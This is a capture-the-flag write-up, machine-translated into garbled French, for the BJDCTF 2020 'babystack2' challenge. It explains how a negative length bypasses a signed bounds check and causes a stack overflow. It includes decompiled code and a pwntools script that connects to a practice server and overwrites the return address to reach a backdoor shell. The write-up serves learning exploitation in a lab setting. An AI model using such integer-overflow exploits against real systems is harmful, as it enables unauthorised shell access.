当前位置:网站首页>[CTF] bjdctf 2020 Bar _ Bacystack2
[CTF] bjdctf 2020 Bar _ Bacystack2
2022-07-02 00:18:00 【Delta Hell】
Analyse du sujet
Décompiler,Rechercher des vulnérabilités
mainFonctions:
undefined8 main(void)
{
undefined local_18 [12];
uint local_c;
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,1,0);
local_c = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let\'s try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf(&DAT_004009c1,&local_c);
if (10 < (int)local_c) {
puts("Oops,u name is too long!");
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("[+]What\'s u name?");
read(0,local_18,(ulong)local_c);
return 0;
}
backdoorFonctions:
undefined8 backdoor(void)
{
system("/bin/sh");
return 1;
}
Le sujet est clair. , La fonction porte arrière est déjà fournie , Il suffit de sauter. .
Regarde encoremainFonctions,read La fonction est évidemment un point d'utilisation ,Utiliser des variableslocal_c Pour créer un débordement .
Bien sûr.,Ce n'est pas si simple., Jugement avec limite de longueur avant
if (10 < (int)local_c)
Mais,C'est aussi simple.,Pas vrai? Débordement de plastique , Nombre entier négatif , C'est tout. ~~~
Il s'est avéré,C'est tout à fait vrai., Mais le processus est trop tortueux ,Description simple:
Le débordement local échouera ,InubuntuAllez.,Entrée-1,readRenvoie directement;InwindowsExpérience supérieure,Entrée-1,read La fenêtre apparaîtra ,Conseils
buf len < INT_MAXConditions non remplies, C'est évident. ,read Limite d'entrée . Ça fait longtemps. , Aucune solution trouvée , Parce que la limite de longueur est dépassée ,
Doit utiliser un nombre négatif , Sinon, il ne peut pas déborder. ,Et même siINT_MIN,Convertir en nombre non signé,Toujours.2147483648,Toujours> INT_MAX;Un instant.
Je doute de la vie. .
Comment résoudre le problème
La pensée est le processus d'analyse du sujet ci - dessus ,Tout à fait., Vérification directe de la cible oui OKDe,-1 Peut dépasser la limite de longueur ,En même tempsreadPas d'erreur(Pleurer sans larmes)
from pwn import *
sh = connect("node4.buuoj.cn",27462)
sh.recvuntil("name:\n")
print("recv name length")
sh.sendline('-1'.encode())
print("send name length")
sh.recvline()
pad = 'A'*24
payload = pad.encode() + p64(0x00400726)
sh.sendline(payload)
sh.interactive()
Conséquences de l'incapacité de valider localement , C'est la longueur du débordement. .
Résumé
Quand les idées vont bien , Détecteur de cibles en temps opportun . Mais il est intéressant d'ajuster la machine. , Bien qu'aucun résultat final n'ait été trouvé ,Par exemple,ubuntuAllez.,J'ai écrit un test.demo, Supprimer la vérification de la longueur ,RésultatsreadPas plus de3652Pas de problème,Heures supplémentaireserrnoJe vais le signalerBad address,Suivez - moi.windows Ce n'est pas pareil. ,Mais3652 Ça n'a aucun sens. , Je doute encore de la vie. ~~~ C'est fini. , Il y a un ton à l'arrière. glibc On verra ça plus tard. .
边栏推荐
- Soft exam information system project manager_ Compiled abbreviations of the top ten management processes to help memory recitation - -- software test advanced information system project manager 054
- 【模板】自适应辛普森积分
- Shell process control
- Regular expression collection
- Iota in golang
- When installing mysql, there are two packages: Perl (data:: dumper) and Perl (JSON)
- Download the online video m3u8 tutorial
- 二叉搜索树的创建,查找,添加,删除操作
- Is it safe and reliable to open an account in Caixue school and make new debts?
- Windows 7 install MySQL error: 1067
猜你喜欢
Difficult to get up syndrome (bit by bit greed)
下载在线视频 m3u8使用教程
4. Object mapping Mapstercover
【QT】QtCreator卸载与安装(非正常状态)
电商RPA机器人,助力品牌电商抢立流量高点
Kubernetes resource object introduction and common commands (III)
Linux centos7 installation Oracle11g super perfect novice tutorial
Comprehensive usage and case questions of sub query of SQL data analysis [patient sorting]
SQL Server Installation Guide
起床困难综合症(按位贪心)
随机推荐
Linux centos7 installation Oracle11g super perfect novice tutorial
Window sorting functions rank and deny for SQL data analysis_ rank、raw_ Number and lag, lead window offset function [usage sorting]
实例讲解将Graph Explorer搬上JupyterLab
Data analysis methodology and previous experience summary [notes dry goods]
Niuke - Practice 101 - reasoning clown
Kubernetes resource object introduction and common commands (III)
毕业季 | 华为专家亲授面试秘诀:如何拿到大厂高薪offer?
北京炒股开户选择手机办理安全吗?
Cmake engineering related
Using SqlCommand objects in code
使用多线程Callable查询oracle数据库
Leetcode medium question sharing (5)
. env. XXX file, with constant, but undefined
Graduation season | Huawei experts teach the interview secret: how to get a high paying offer from a large factory?
Graduation season is both a farewell and a new beginning
数据分析方法论与前人经验总结【笔记干货】
Windows 7 install MySQL error: 1067
Shell process control
牛客-练习赛101-推理小丑
Heketi record